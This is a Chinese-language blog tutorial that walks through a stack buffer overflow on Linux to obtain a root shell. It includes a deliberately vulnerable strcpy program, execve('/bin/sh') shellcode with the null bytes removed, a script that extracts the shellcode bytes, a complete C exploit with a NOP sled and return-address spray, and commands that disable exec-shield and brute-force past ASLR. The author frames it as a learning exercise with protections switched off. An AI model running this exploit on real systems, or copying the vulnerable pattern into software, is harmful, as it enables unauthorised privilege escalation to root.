栈溢出攻击提权进入root shell

以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。

为了测试简单,写一个比较简单的程序,我们称之为bug.c


#include 
#include 

int main(int argc, char **argv) {
	char buff[500];
	strcpy(buff,argv[1]);
	return 0;
}

这段代码比较简单,就是为了用来测试栈溢出的,很显然,它是有漏洞的。

好了,我们准备好进入root shell的汇编代码:

Section .text
global _start

_start:
	xor eax,eax
	push eax
	push 0x68732f	; /sh 小端机存储
	push 0x6e69622f ; /bin 小端存储
	mov ebx,esp
	push eax
	push ebx
	mov ecx,esp
	xor edx,edx
	mov al,0xb	; execve函数
	int 0x80

我们用nasm编译:

nasm -f elf execve.asm

用ld链接:

ld execve -o execve.o

我们测试一下结果:


看来汇编代码没问题,我们接着用objdump把二进制代码抠出来,看看shellcode会不会出现00这样无效或低效的代码:

栈溢出攻击提权进入root shell_第1张图片

很显然,第三行出现了00,这对于shellcode来说是致命的,所以我们想办法规避它。我们用"/"代替0.这样,汇编的源代码就变成了:

Section .text
global _start

_start:
	xor eax,eax
	push eax
	push 0x68732f2f	; /sh 小端机存储
	push 0x6e69622f ; /bin 小端存储
	mov ebx,esp
	push eax
	push ebx
	mov ecx,esp
	xor edx,edx
	mov al,0xb	; execve函数
	int 0x80
我们编译链接一下,看代码运行结果:


ok,代码运行结果正常,我们这回再看看二进制代码:

栈溢出攻击提权进入root shell_第2张图片

ok,我们把shellcode提出来,我这里用了一个shell脚本:


#!/bin/sh

if [ ! $# == 1 ]; then
	echo Usage: get-shellcode progname
	exit
fi
objdump -d $1 | awk -F "\t+" '{print $2}' | sed "/^\s*$/{d}" | awk -F " " '{ for(i=1;i<=NF;i++){ printf("\\x%s",$i) } } END{printf("%s","\n")}'

执行如下命令:


ok,得到shellcode代码了。

下面写一段栈溢出攻击的代码,我们称之为exploit.c

#include 
#include 
#include 

char shellcode[] = 
	"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
	"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
	"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
	"\x80";
unsigned long get_stack_addr() {
	__asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {
	int i, offset;
	long esp, ret, *addr_ptr;
	char *buffer, *ptr;

	offset = 0;
	esp = get_stack_addr();
	ret = esp - offset;

	buffer = malloc(600);

	// 把返回地址写进去
	ptr = buffer;
	addr_ptr = (long *)ptr;
	for (i = 0; i < 600; i += 4) *addr_ptr++ = ret;

	// 前200个字节填充NOP指令
	memset(buffer,'\x90',200);

	// NOP指令之后填充shellcode
	ptr = buffer + 200;
	memcpy(ptr,shellcode,strlen(shellcode));
	buffer[599] = '\0';

	execl("./bug","bug",buffer,0);

	free(buffer);

	return 0;
}

ok,我们编译并运行exploit:


这时候我们发现代码挂了。。。。

等等,我们忘记了现在os默认是打开栈地址随机化的,好的,先关掉它测试下:


还有当前是在fedora环境下测试,fedora有个机制保护栈缓冲区溢出攻击,那就是栈代码默认不可执行,我们也打开它:

sudo sysctl -w kernel.exec-shield=0


发现shell是进入了,但是并不是root shell,怎么回事呢? 

这是因为操作系统为了防止缓冲区溢出做了很多事,其实一个手段就是保护bash——当shell调用时,自动降低权限。也就是说即使你在shell里面调用带有suid,且用户名为root的程序,也不会成功。怎么办呢? 

在这里,我们可以用zsh代替bash,因为zsh默认是没有实现这种保护机制的。


ok,我们再测试下:


成功进入root shell.

可是,假如我们不想关掉栈地址随机化呢,怎么办?我们可以用下面的代码进行测试:

sh -c "while [ 1 ];do ./exploit;done"

呵呵,限制较多,在实际场合中不太可能把bash偷梁换柱成zsh,还有将bug可执行文件改为root拥有,so,只能继续努力了。希望下次是拿一个真实的应用程序作为例子,加油!

你可能感兴趣的:(shellcode)